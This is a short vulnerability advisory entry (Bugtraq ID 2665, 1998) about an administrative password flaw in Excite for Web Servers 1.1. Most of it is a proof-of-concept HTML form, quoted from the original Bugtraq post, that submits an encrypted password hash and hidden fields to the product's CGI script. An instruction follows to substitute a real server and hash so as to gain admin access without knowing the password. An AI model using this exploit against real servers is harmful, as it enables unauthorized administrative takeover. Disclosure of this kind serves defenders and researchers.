Excite for Web Servers 1.1 Administrative Password Vulnerability

BID:2665

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Excite for Web Servers 1.1 Administrative Password Vulnerability

Bugtraq ID: 2665
Class: Configuration Error
CVE:
Remote: No
Local: Yes
Published: Nov 30 1998 12:00AM
Updated: Nov 30 1998 12:00AM
Credit: Posted to BugTraq on November 30, 1998 by Michael Gerdts < [email protected] >.
Vulnerable: Excite Excite for Web Servers 1.1
Not Vulnerable:

Exploit / POC

Excite for Web Servers 1.1 Administrative Password Vulnerability

The following HTML code was submitted by Michael Gerdts in his bugtraq post (see credit):


<html> <head><title>exploit</title>
<body>
<p><FORM ACTION="http://EWS.SERVER.COM/cgi-bin/AT-generate.cgi" METHOD=POST>
<INPUT TYPE="hidden" NAME="db" VALUE="personal">
<INPUT TYPE="submit" NAME="Reload" VALUE="Reload">
Reload this page, in case the log file or status has changed.
<INPUT TYPE="hidden" NAME="Dump" VALUE="dummy">
<INPUT TYPE="hidden" NAME="File" VALUE="/usr/local/etc/excite/collections/AT-personal.prog">
<INPUT TYPE="hidden" NAME="Type" VALUE="progress">
<INPUT TYPE="hidden" NAME="ENCRYPTEDPASS" VALUE="ENCRYPTEDPASS">
</FORM><BR>
</body>
</html>

"Of course you should replace EWS.SERVER.COM and ENCRYPTEDPASS with values that make sense for your situation. By accessing this page and clicking on the button you get to a menu that behaves exactly as if you knew the unencrypted password."

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